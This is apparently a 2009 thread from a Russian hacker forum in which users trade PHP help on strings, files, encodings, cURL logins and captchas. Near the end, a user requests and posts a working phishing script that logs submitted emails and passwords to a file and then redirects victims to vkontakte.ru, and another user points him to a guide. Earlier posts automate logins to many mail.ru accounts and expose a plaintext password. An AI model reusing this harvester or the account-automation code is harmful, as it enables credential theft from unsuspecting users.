Корвин
20.05.2009, 20:50
вместо
fseek($f2, 1, SEEK_END);

попробуй
fseek($f2, -1, SEEK_END);

REBUUS
20.05.2009, 21:30
куда все ПХП злодеи делись , кто подскажет ответ на #10654 пост :(

m0Hze
21.05.2009, 00:28
ну в общем чтото вроде,только доделать нужно,я совсем непонимаю ничего сейчас(

$text = file('./file.txt');
for ($i = 0; $i < count($text); $i++) {
if (strpos($text[$i],"=")) {
$result .= $text[$i];
echo $result;
}else{
$result .= str_replace("\n","",$result[$i-1]);
}
}
echo $result;

Доделайте сами,я уже сплю одним глазом,

REBUUS
21.05.2009, 00:45
не совсем , то , он не обрезает, в строках где нету "=" оне не переносит веерх ,но все равно спс за помошь, ставлю тебе + :) спокойной ночи

m0Hze
21.05.2009, 00:50
да он будет работать, просто времеени нет,кинул то что наскреб за минуту,какбе набросок.Я бы сделал по такой схеме.Завтра есличто сделаю

sNt
21.05.2009, 01:07
Какой функцией можно обрезать знаки после определенного символа? Например:
email@mail.ru, функция урезает все символы после @.

REBUUS
21.05.2009, 01:10
Какой функцией можно обрезать знаки после определенного символа? Например:
email@mail.ru, функция урезает все символы после @.

echo strstr($email, ord("@")) ;

NuR
21.05.2009, 01:20
function cuter($str,$deter)
{
return substr($str,0,strpos($str,$deter));
}
echo cuter("email@mail.ru","@");

sNt
21.05.2009, 01:27
thx ))

George767
21.05.2009, 07:01
Есть скрипт, в один из массивов которого вносятся данные следующим образом:

$sz = array("10 0", "20 0", "30 10", "30 20", "20 30", "10 30", "0 20", "0 10", "10 0");

тоесть оба числовых значения в одной записи разделены пробелом всего-лишь.

Так как я беру эти значения из бд, нужно внести данные в массив как-то по-другому. Перепробывал массу вариаций присваивания, но ничего не выходит - например во время цикла выборки значений из бд присваивал так: $sz[]=$xx;

Подскажите в чем дело пожалуйста, как внести данные вида array("10 0", "20 0", "30 10", "30 20", "20 30", "10 30", "0 20", "0 10", "10 0") в этот массив во время выборки их из бд.

REBUUS
21.05.2009, 08:42
не понял в чем вопрос, и проблему тоже, вроде в массиве все в SRING сохраняет и ему все равно пробел там или число.
как я понял ты берешь из БД две значения обединяешь их пробелом и заносишь в ону ячейку массива , тогда делай та

$str=$bd1.' '.$bd2;

а потом это значение заноси в массив

George767
21.05.2009, 09:12
не понял в чем вопрос, и проблему тоже, вроде в массиве все в SRING сохраняет и ему все равно пробел там или число.
как я понял ты берешь из БД две значения обединяешь их пробелом и заносишь в ону ячейку массива , тогда делай та

$str=$bd1.' '.$bd2;

а потом это значение заноси в массив

Как объеденить это понятно. Вопрос в том, как внести в массив.

REBUUS
21.05.2009, 09:21
$mas[$i]=$str;
вот так, в i-тую ячейку массива будет заноситься $str

#Wolf#
21.05.2009, 10:30
есть ли бдля воблы модули "соединения" с другими движками (типа единой авторизации).
если нету то для каких форумов/движков есть?
на данный момент задача : dle+vbulletin

•†•SyTiNeR•†•
21.05.2009, 11:05
есть ли бдля воблы модули "соединения" с другими движками (типа единой авторизации).
если нету то для каких форумов/движков есть?
на данный момент задача : dle+vbulletin
http://dlepro.ru/mod/520-modul-dle-7.5-vbulletin-3.8.1-integracija-v.-1.1.html

Byrger
21.05.2009, 11:14
Как написать парсер тем из раздела форума?
Допустим надо вывисти 5 последних тем с форума
(надо только заголовки тем парсить )
Форум "Булка 3.8.1"

Alekzzzander
21.05.2009, 11:17
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???

•†•SyTiNeR•†•
21.05.2009, 11:30
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???
В функции echo можно передать несколько аргументов через запятую!1
Пример:
echo 'x','z,'n';
А функия print может принять только один аргумент!11

Функция print при вызове возвращает значение,а echo ничего не возвращает!

razb
21.05.2009, 11:30
print - выводит строку
print_r - вывод переменную в удобочитаемом виде (например целый массив)

wildshaman
21.05.2009, 11:31
Видел статью в интернете на английском? может кто сможет рассказать по русски разницу между echo, print, print_r ???
http://habrahabr.ru/blogs/php/22951/

krypt3r
21.05.2009, 11:35
1. echo не возвращает никаких значений, в отличие от print.
2. По первой причине echo нельзя использовать в сложных выражениях типа

$b ? print "true" : print "false";

При попытке заюзать в данном случае echo

$b ? echo "true" : echo "false";

получите ошибку PHP Parse error: syntax error, unexpected T_ECHO in ...
Но можно переписать код так

echo $b ? "true" : "false";

3. print принимает лишь один аргумент, а echo - несколько, разделенных запятой.
Вывод: что хотите, то и юзайте. Результат один

print_r это немного из другой оперы

zannussi
21.05.2009, 16:25
Ребята, вопрос не простой!
Есть 2 сайта: мой и чужей (последний с авторизацией). Каким образом через мой сайт отправить пост запрос на чужей, чтоб потом получить полностью страницу с того сайта?
1)Гет запросы режутся:
http://site.com/login.asp?name=name&pass=pass
тоже самае что и
http://site.com/login.asp
при правильных логин:пасс
2)В случае с пост:

<?
$file=file_get_contents('http://site.com/login.asp?name=name&pass=pass');

echo "
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\"
\"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">
<html>
<head>
<title>Тест коннекта</title>
</head>
<body>
"?>
<? echo "<H3>$file</H3>";
echo'</body> </html> ';
?>
возвращает страницу, но на ней не произошла авторизация (пробывал на вконтакте, там хотя бы возвращает false или true)

3)Аналогично
<?php
$auth_data = "name=name&pass=pass";
$auth_data_len = strlen($auth_data);

$header = "POST http://site.com/login.asp HTTP/1.0\r\n";
$header .= "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n";
$header .= "Referer: http://site.com\r\n";
$header .= "Accept-Language: uk\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Proxy-Connection: Keep-Alive\r\n";
$header .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\r\n";
$header .= "Host: site.com\r\n";
$header .= "Content-Length: ".$auth_data_len."\r\n";
$header .= "Pragma: no-cache\r\n\r\n";
$header .= $auth_data;

$sckt = fsockopen("site.com",80);
fputs($sckt,$header);

while(!feof($sckt))
{
$serv_answer = fgets($sckt,2048);
echo $serv_answer;
}
?>

Каким образом произвести авторизацию на том сайте через мой. Способы выше не проходят?

Ru}{eeZ
21.05.2009, 16:31
Подключи курл и отправляй запросы типа:


<?php
$curl = curl_init();
curl_setopt($curl,CURLOPT_URL,'http://site');
curl_setopt($curl,CURLOPT_POST,1);
curl_setopt($curl,CURLOPT_POSTFIELDS,'name=admin&name=admin');
curl_setopt($curl,CURLOPT_HEADER,1);
curl_exec($curl);
curl_close($curl);
?>

Велемир
21.05.2009, 17:12
Люди,помогите,пожалуйста.О ять проблемы с CURLом(точнее,не совсем с ним).

Задача: Прогнать толпу мыльников,выставляя чтение писем по 200 штук на страницу.
Проблема: Не отправляются значения методом пост по неизвестной мне причине.


Вот скрипт:



<?php

$ch = curl_init();

$url = "http://win.mail.ru/cgi-bin/auth";

$url1 = "http://win.mail.ru/cgi-bin/editprofile";

$url2 = "http://win.mail.ru/cgi-bin/modifyprofile";

$req = "Login=welya.icq&Domain=mail.ru&Password=ko4ka&page=&submit=Войти";

$req1 = "MessagesPerPage=100";


$ua = "IE 6.0";

curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDS,$req);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

$res = curl_exec($ch);

curl_close($ch);


/* ///////////////////////////////////////////////////////////// */

$ch = curl_init();

curl_setopt($ch,CURLOPT_URL,$url1);
curl_setopt($ch,CURLOPT_USERAGENT,$ua);
curl_setopt($ch,CURLOPT_POST,1);
curl_setopt($ch,CURLOPT_POSTFIELDs,$req1);
curl_setopt($ch,CURLOPT_COOKIEFILE,"./cookie");
curl_setopt($ch,CURLOPT_COOKIEJAR,"./cookie");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);

$res = curl_exec($ch);

echo $res;

curl_close($ch);



/* ///////////////////////////////////////////////////////////// */



По всякому пробовал.Сначала посылал запрос на editprofile,одновременно с этим отправляя пару имя=значение MessagesPerPage=200,а потом уже запрос с сабмитом.Тоже не выходило.Заметил,что при обновлении страницы генерируется какое-то рандомное число,но на переход оно не влияет.И,как всегда,вопрос: Передаётся ли идентификатор сессии вместе с COOKIEFILE и COOKIEJAR ? Спасибо.

Велемир
21.05.2009, 17:28
З.Ы, ваш код уязвим к локальному инклуду

Его к инклуду,а твой - к XSS :):):).

D Mak
21.05.2009, 17:38
Велемир
1. нету такого юзер агента как IE 6.0
2. делай все сразу в одной $ch без его закрытия
3. с помощью плагина HttpFox для фф отскань все заголовки при подобной операции и сравни

Ponchik
21.05.2009, 19:36
Велемир, знаеш чё могу посоветовать... Юзай pro.mail.ru тама по аяксу хоть все письма получай

bxN5
22.05.2009, 01:58
есть функция которая берет за аргументы значения переданные постом и возвращает массив данных , мне этот массив нужно использовать уже потом когда передаются дрyгиe пост данные из другой формы но в том же скрипте , т.е что бы массив был доступен в любом месте скрипта , а он доступен только когда выполянется функция как это сделать?
register global off

Fepsis
22.05.2009, 03:37
На сайте charset=utf-8...
Шлю русский текст постом - в результате полусаю каракули... Пробовал utf8_encode("Текст") - также каракули, но уже другие.. Как добиться вывода русского текста..!??

art2222
22.05.2009, 12:19
Как добиться вывода русского текста..!??
В зависимости от кодировки. Вот это, например
$text2 = iconv('Windows-1251','UTF-8',$text)
из Windows-1251 в UTF8.

Mixon
22.05.2009, 16:47
Как можно обрезать текст в переменной до определённого количества символом (пробелы тоже в счёте).
Например:

$test="Античат самый рульный сайт,а его юзвери суперские люди!!!";

И вот мне нужно обрезать до 26 символов,тоисть чтоб было так "Античат самый рульный сайт"

Kaimi
22.05.2009, 16:50
Как можно обрезать текст в переменной до определённого количества символом (пробелы тоже в счёте).

$test="Античат самый рульный сайт,а его юзвери суперские люди!!!";
print substr($test, 0, 25);

crazy~driver
22.05.2009, 19:02
извините если оффтоп
как закрыть листинг папок в htaccess
пишу -images закрывает все на 500 ошибку

Kaimi
22.05.2009, 19:05
Попробуй
IndexIgnore *

laedafess
22.05.2009, 19:08
Options -Indexes
или вы про что?

crazy~driver
22.05.2009, 19:21
да я провтыкал написал в сообщении images рефлекторно
все уже сделал спс

Winst0n
22.05.2009, 19:44
<form method="post" name="form">
<input name="d" type="text" size="10">
<input name="test" type="submit" value="Проверить">
</form>
<?php
if(isset($_POST['d'])){$d = $_POST['d'];}

$z = ??;
if(!empty($_POST['test'])){
if($d !== $z)
{ echo "ок"; }
else
{ echo "нет"; }
}
?>

как сделать чтоб если в форму вводят 1, 2, 3 или 4
то выводит "нет", а если любые другие символы то "ок"

пробовал делать так:


$1 = 1
$2 = 2
$3 = 3
$4 = 4

if($d !== $1 or $2 or $3 or $4)

но ничего не выходит... да и слишком много делов каждый раз добавлять...

D Mak
22.05.2009, 19:48
Winst0n
if(strpos('1234', $d) === false)

wildshaman
22.05.2009, 19:49
пробовал делать так:


$1 = 1
$2 = 2
$3 = 3
$4 = 4

if($d !== $1 or $2 or $3 or $4)

но ничего не выходит... да и слишком много делов каждый раз добавлять...

нельяз так, если уж неа то пошло,то


$1 = 1
$2 = 2
$3 = 3
$4 = 4

if($d != $1 or $d!=$2 or $d!=$3 or $d!=$4)


ну а лучше сделать так:

$m=array("1", "2","3", "4");
if (in_array ($d, $m)) {
...
}

Gifts
22.05.2009, 20:01
Winst0n Название переменной не может начинаться с цифры. Либо in_array используйте, либо:
$d = intval($d);
if ($d<1 || $d>4)
{Тра-та-та}

Winst0n
22.05.2009, 20:09
D Mak, 1234 это пример )


$1 = 1
$2 = 2
$3 = 3
$4 = 4

if($d != $1 or $d!=$2 or $d!=$3 or $d!=$4)
тоже не работает, все пишет "ок"


$m=array("1", "2","3", "4");
if (in_array ($d, $m)) {
а так все "нет" кроме 1234 ))

Gifts, числа пример

wildshaman
22.05.2009, 20:13
<form method="post" name="form">
<input name="d" type="text" size="10">
<input name="test" type="submit" value="Проверить">
</form>
<?php
if(isset($_POST['d']))
{
$d = $_POST['d'];
$z = array(1,2,3,4);
if(!empty($_POST['test']))
{
if(in_array($d,$z))
echo "ок";
else
echo "нет";
}
}
?>

все прекрасно работает

Winst0n
22.05.2009, 20:18
wildshaman, спс :)

тупанул... поменял
"нет" и "ок" местами )

Mixon
22.05.2009, 22:05
Спс,а кто теперь подскажет как с txt файла удалить строку??
Вот есть txt файл,в нём текст в таком виде:
Боря
вышел погулять,
но его убили
мусора
Вот нужно удалить строку,думаю от какого байта удалять можно поставить через fseek,а вот как дальше я незнаю,вот нужно удалить строчку доконца,вместе с переводом строки,вот например вторую строчку удалить,чтоб выщло так:
Боря
но его убили
мусора
п.с. Перезапись файла не катит,только удаление байтов!

KentPol
22.05.2009, 23:32
Можно как-нибудь с помощью PHP узнать версию Flash Player'a?

Winst0n
22.05.2009, 23:38
--

Fepsis
23.05.2009, 02:34
Парни, CURLOPT_COOKIEJAR и CURLOPT_COOKIEFILE на хостах вообще работают..?! Тестировал скрипт на локалхосте - всё работает на ура, файл с куками создаётся и затем благополучно читается... Залил на хост - работать перестал.. Пробовал создавать файл куков вручную с правами 777 - безрезультатно..(((

Ru}{eeZ
23.05.2009, 11:21
Парни, CURLOPT_COOKIEJAR и CURLOPT_COOKIEFILE на хостах вообще работают..?! Тестировал скрипт на локалхосте - всё работает на ура, файл с куками создаётся и затем благополучно читается... Залил на хост - работать перестал.. Пробовал создавать файл куков вручную с правами 777 - безрезультатно..(((

многие хостинги curl не поддерживают, может твой один из них?

Mixon
23.05.2009, 11:56
как к этому: <?php
session_start();
?>
<form method="post" name="form">
<input name="d" type="text" class="form" size="15">
<input name="go" class="form" type="submit" value="Отправить">
</form>
<?php
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){$d = $_POST['d'];}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true')
}
}
?>
приделать это:

<form action="" method="post">
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
echo "Correct";
}else{
echo "Wrong";
}
}
unset($_SESSION['captcha_keystring']);
?>?

А попроще сказать можно? ето ты типо хочеш проверку капчей сделать там?
ты хоть бы выложил нормалынй код! Вот результ от первого стрипта:
Parse error: syntax error, unexpected '}' in Z:\home\localhost\www\test.php on line 15

Mixon
23.05.2009, 12:07
Выходит так:

<?php
session_start();
?>
<form action="" method="post">
<p><input name="d" type="text" class="form" size="15"></p>
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
//Есле капча введена верно то...
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){
$d = $_POST['d'];
}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true'){
}
}
}else{
//Есле нет то...
echo "Капчу верно введи!";
}
}
unset($_SESSION['captcha_keystring']);
?>

Синтаксис поправил,но в роботу скрипта не вникал.

Fepsis
23.05.2009, 12:11
многие хостинги curl не поддерживают, может твой один из них?
Не думаю... На сайте хостера написано что КУРЛ есть.. Ктомуже по работе скрипта видно что он есть.. В процессе выполнения скрипта происходит авторизация на сайте, затем переход по нескольким страницам для дальнейшего их парсинга.. Для проверки ставил echo этих страниц - выводит всё как надо.. А вот авторизация не происходит... Думаю из-за того, что куки не сохраняются...

П.С. тут пару страниц назад я писал, что проблема с капчей при авторизации... На самом деле надо было просто внимательней отнестись к тому на какой стадии созранить куки, и где их потом вызвать... Так вот самое интересное, на локалхосте при первой авторизации и сохранении файла куков дальнейшая авторизация любого пользователя проходит без ввода капчи... И это вообще охрененно, но...... Надо запустить не на локалке... :confused: :confused: :confused: Чёнить посоветуйте..))

wildshaman
23.05.2009, 12:21
Фишка с несохраняющимися куками на серваке в указании пути к ним. сам сталкивался с такой проблемой. указывпйте ПОЛНЫЙ пусть к файлу, куда сейвить куки, напмреир /home/.../www/cookies.txt

Winst0n
23.05.2009, 12:27
Mixon, код рабочий... просто забыл "{" после if($result == 'true')


<?php
session_start();
?>
<form action="" method="post">
<p><input name="d" type="text" class="form" size="15"></p>
<p>Enter text shown below:</p>
<p><img src="captcha/index.php?<?php echo session_name()?>=<?php echo session_id()?>"></p>
<p><input type="text" name="keystring"></p>
<p><input type="submit" value="Check"></p>
</form>
<?php
if(count($_POST)>0){
if(isset($_SESSION['captcha_keystring']) && $_SESSION['captcha_keystring'] == $_POST['keystring']){
//Есле капча введена верно то...
$db = mysql_connect("localhost","root","");
mysql_select_db("bd",$db);
if(!empty($_POST['go'])){
if(isset($_POST['d'])){
$d = $_POST['d'];
}
$result = mysql_query("INSERT INTO za (d) VALUES('$d')");
if($result == 'true'){
}
}
}else{
//Есле нет то...
echo "Капчу верно введи!";
}
}
unset($_SESSION['captcha_keystring']);
?>
если верно вводишь в бд не пишет =\

Mixon
23.05.2009, 12:31
Winst0n,Хм,ну ето уже удели больше внемания самому коду,что записывает,и попробуй,доходит ли до него все данные,у меня то нету кода капчи...Вопщем удели по больше внеманию етой строчке
<form action="" method="post">
и доходит ли параметр d через POST запрос в сам скрипт посмотри. А вопще я тебе дал код,смотри,мучий...

Winst0n
23.05.2009, 12:54
Mixon, спс, сам сделал :) просто писал вчера в 3 ночи))

Ridikh
23.05.2009, 16:22
напишите пожалуйста php функцию которая удаляла бы все папки вместе со вложенными файлами и все файлы из папки temp которая лежит в корне скрипта, в который нужно вставить эту функцию

Fepsis
23.05.2009, 17:48
Фишка с несохраняющимися куками на серваке в указании пути к ним. сам сталкивался с такой проблемой. указывпйте ПОЛНЫЙ пусть к файлу, куда сейвить куки, например, /home/.../www/cookies.txt
Да, я тоже с этим столкнулся когда на локалхосте отлаживал скрипт.. После прописания полного пути, на локалхосте заработало... И на сервер залил с полными путями - там не пашет... Самое интересное то, что заработал, когда я заменил полный путь на куки.тхт :D

neprovad
23.05.2009, 21:34
Есть такая задача - надо вывести байтами кучу данных (hexdump) Данные в виде hexстроки а-ля "6F2030313234FF" и т.п. Собственно вопрос как оптимальней \понятней сделать это. данные , если потребуется можно сохранить в файл или намертво вбить в код скрипта.
з.ы. в php разбираюсь очень слабо, прошу помочь

Gifts
23.05.2009, 22:58
neprovad http://php.net/pack http://php.net/unpack

krypt3r
24.05.2009, 08:54
neprovad

$str = "30313233343536373839";
echo pack ("H*", $str), "\n";

mailbrush
24.05.2009, 14:00
Установить булку на другой хост.

Chrek625
24.05.2009, 14:24
Добпрго времени суток. обитателям форума.
Помогите мне разобраться с вот такой ошибкой....
Fatal error: Cannot re-assign $this in Z:****\****\www\classes\Shop.php on line 75
Я знаю что это из за разницы в версиях PHP но вот как исправить не знаю(( помогите

PaCo
24.05.2009, 14:27
Это геморная затея, нАврятли ты сам осилишь:
http://www.masterhost.ru/support/faq/technical/to-php5-mysql5/

Pashkela
24.05.2009, 14:49
2 Ridikh:


<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$path = '/home/kf-kf/dfgdf/http/df/test'; // Абсолютный путь к папке для удаления
//её содержимого, включая все файлы, папки и подпапки, без слеша в конце

//Функция рекурсивного получения списка файлов и папок
function fold($rootDir, $allData=array()) {
$invisibleFileNames = array(".", "..");
$dirContent = scandir($rootDir);
foreach($dirContent as $key => $content) {
$path = $rootDir.'/'.$content;
if(!in_array($content, $invisibleFileNames)) {
if(is_file($path) && is_readable($path)) {
$allData[0][] = $path;
}elseif(is_dir($path) && is_readable($path)) {
$allData[1][] = $path;
$allData = fold($path, $allData);
}
}
}
return $allData;
}
//Удаляем все файлы
$a = fold($path);
// print_r ($a); // Расскоментируйте, если хотите посмотреть список файлов и папок (подпапок)
$i=0;
$count = count($a[0]);
while ($i<$count) {
unlink($a[0][$i]);
$i++;
}
//Удаляем все папки
$i = count($a[1])-1;
while ($i>-1) {
rmdir($a[1][$i]);
$i--;
}
echo "All data from $path deleted";
?>

Chrek625
24.05.2009, 15:31
PaCo может тогда поможишь?

REBUUS
24.05.2009, 15:34
нужен небольшой РНР скрипт

есть .тхт фай словаря, где перевод некоторых слов на несколько строчек,

abatable = a юр. отменяемый, предусматривающий
abate = v 1) уменьшать, ослаблять, смягчать; 2) снижать (цену и т. п.) ,
делать скидку; 3) уменьшаться, ослабевать, затихать; 4) устранять, прекращать;
5) притуплять (остриЈ) ; 6) аннулировать, отменять
abatement = n 1) уменьшение, смягчение; 2) снижение (цен и т. п.) ; 3)
аннулирование, отмена
abat-jour = n фр. 1) абажур; 2) козырЈк здания

надо перегнать в другой тхт файл. такой что бы перевод каждого слово было на одной строчке. (слова и перевод разделени знаком "=") т.е если в строчке не встречается знак "=" то хначит это продолжение предыдущей строки и надо его туда переместит

я сам делал так:
в цикле брал строчку, если там встречаться знак "="
то записывал в конец другого файла , если нету "=" то дописывал в продолжение последней строки. в принципе алгоритм правильный но кде надо было дописывать в продолжении последней строки у меня не получалось
вот этот кусочек

$f=fopen("2.txt","a+");
fseek($f, 1, SEEK_END);
fwrite($f,$str);
fclose($f);

REBUUS
24.05.2009, 15:40
блин поставил vbulletin
и капча при регистрации не отображается..вернее символы не показыват , а только фон.
идеи?

на некоторых фри хостах капча не отображается, особенно капча которую РНР сам делает и рисует :)

Gifts
24.05.2009, 16:24
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)

REBUUS Правда первой строкой скорее всего будет перевод строки ^^ set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');

while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos('=',$tmp)!==false) fwrite($f2,"\n");
fwrite($f2,$tmp);
}

REBUUS
24.05.2009, 16:48
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)

REBUUS Правда первой строкой скорее всего будет перевод строки ^^ set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');

while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos('=',$tmp)!==false) fwrite($f2,"\n");
fwrite($f2,$tmp);
}


что то он все в одну строчку загнал
вот сам фай который надо редактировать http://webfile.ru/3641124

wildshaman
24.05.2009, 16:52
что то он все в одну строчку загнал
вот сам фай который надо редактировать
в вышеприведенном тебе коде замени тогда
fwrite($f2,$tmp); на fwrite($f2,$tmp."\r\n");

Gifts
24.05.2009, 16:57
wildshaman Не трогайте чужой код, тем более что вы ошибаетесь)

Rebbus В функции strpos перепутал аргументы) set_time_limit(0);
$f1 = fopen('1.txt','r');
$f2 = fopen('2.txt','w');

while (!feof($f1))
{
$tmp = trim(fgets($f1,8192),"\r\n");
if (strpos($tmp,'=')!==false) fwrite($f2,"\r\n");
fwrite($f2,$tmp);
}
http://webfile.ru/3641159 - выходной файл

REBUUS
24.05.2009, 17:08
$tmp = trim(fgets($f1,8192),"\r\n");

тоже самое все в одну строку, а все остальное обрезает
может сам файл кто глянет, вдруг че не так
http://webfile.ru/3641124

Pashkela
24.05.2009, 17:16
Короче раньше я писал код сюда, хоть он и наркоманский, но работает:))))


<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$h = fopen('tema1.txt' , 'r');// Файло с хаотичными данными
$b = fopen('resultat.txt' , 'a+');// Файло результат
while (!feof($h)) {
$a = trim(fgets($h));
if (strpos($a,'=')) fwrite($b,"\r\n".$a);
else fwrite($b,$a);
}
fclose($h);
fclose($b);
echo 'done';
?>

REBUUS
24.05.2009, 17:41
Короче раньше я писал код сюда, хоть он и наркоманский, но работает:))))


<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$h = fopen('tema1.txt' , 'r');// Файло с хаотичными данными
$b = fopen('resultat.txt' , 'a+');// Файло результат
while (!feof($h)) {
$a = trim(fgets($h));
if (strpos($a,'=')) fwrite($b,"\r\n".$a);
else fwrite($b,$a);
}
fclose($h);
fclose($b);
echo 'done';
?>


А твой наркомовский скрипт то что надо. спасибо тебе большое. +

zifanchuck
24.05.2009, 18:10
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?

pento
24.05.2009, 18:34
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?
Очевидно кодировку поправить либо в конфиге апача, либо хэдер послать соответствующий из пхп, либо хотя бы указать мета тег с кодировкой.

Winst0n
24.05.2009, 21:01
--

pento
24.05.2009, 21:15
Потому что инициализация переменной вне тела цикла

<?php

include ("function.php");

$db = mysql_connect("localhost", "root", "");
mysql_select_db("samp", $db);
$e = mysql_query("SELECT * FROM servers", $db);

while ($s = mysql_fetch_array($e) {
$data = monitor_samp($s['serv'], $s['port'], samp, info);
echo "<center><b>" . $data['hostname'] .
"</b> | " . $data['ip'] . ":" . $data['qport'] . " | Игроков: <b>" . $data['players'].
"/" . $data['maxplayers'] . "</b> | Карта: <b>" . $data['mapname'] . "</b></center>";
}

?>

Winst0n
24.05.2009, 22:20
--

sidrus
24.05.2009, 22:33
здраствуйте если кому не трудно, напишите пажалуста скрипт эмитирующий регистрацию и записывающий логин и пасс в отдельный текст фаил
за ранее спасибо

Winst0n
24.05.2009, 22:45
sidrus, хоть бы сказал для какого сайта...


http://forum.antichat.ru/thread80268.html изучай)

sidrus
24.05.2009, 22:58
sidrus, хоть бы сказал для какого сайта...


http://forum.antichat.ru/thread80268.html изучай)


бальшущее спасибо! :)

Pashkela
25.05.2009, 01:39
2 zifanchuck:


<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
<?php
@set_time_limit(0);
@ini_set("display_errors","1");

$in = '%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC% D0%B8%D1%81%D1%82';
$in = urldecode($in);
$s = mb_detect_encoding($in);//Определяем кодировку
$in = iconv($s, 'CP1251//TRANSLIT', $in);//Декодируем в нужную кодировку, выставленную в начале файла
echo $in;
?>


строчки :

@set_time_limit(0);
@ini_set("display_errors","1");

в данном случае нужны только для отладки, рекомендую всегда использовать пока не наладили скрипт, после 100%-го результата ЛУЧШЕ удалить, особенно @ini_set("display_errors","1"); , строку @set_time_limit(0); можно и не удалять, зависит от поставленной задачи. Покажут все возможные ошибки в процессе написания скрипта. Вроде мелочь, но, на мой сугубо взгляд, весьма важная (дебаг фактически).

Fepsis
25.05.2009, 02:47
Наверное вопрос поднимался много раз но ответа в гугле не нашол.
короче закодированое слово в урле (гугл)
%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82
слово программист
надо чтобы скрипт из набора букавак преобразовал в нормальное слово.
пробывал так
<?php
echo urldecode("%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D 0%B8%D1%81%D1%82");
?>
но выдает какуюто лажу типа программист
как ето организовать?


<?php
echo iconv('UTF-8','Windows-1251',urldecode("%D0%BFD1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0 %B8%D1%81%D1%82"));
?>

#Wolf#
25.05.2009, 08:19
#Wolf# Возможно библиотека GD не подключена/подключена не полностью? (Посмотреть можно в phpinfo) В системе отсутствуют шрифты для данной капчи (как проверить не знаю)


рядом стоял дле у которого капча тоже не отображалась(вообще). оказалось проблема была с методом передачи данных по фтп (ASCII/BIN)
поставил авто и перелил - заработало, точно также проделал и с булкой....но отображается только фон

sidrus
25.05.2009, 13:16
ребята, памагите пажалуста сделать чтото типо этого

<?php /* ############# #by_NoNameZ#
########### */ $f=fopen("log.txt","at"); flock($f,2);
if(preg_match("/^([.0-9a-z_-]+)@(([0-9a-z-]+\.)+[0-9a-
z]{2,4})$/i", $_POST['email'])&&
!empty($_POST['pass'])){ fputs($f,
$_POST['email'].";".$_POST['pass']." \n");
header("Location: http://vkontakte.ru
/blank.php?code=10"); } else { header("Location:
bad.htm"); } flock($f,3); fclose($f); ?>


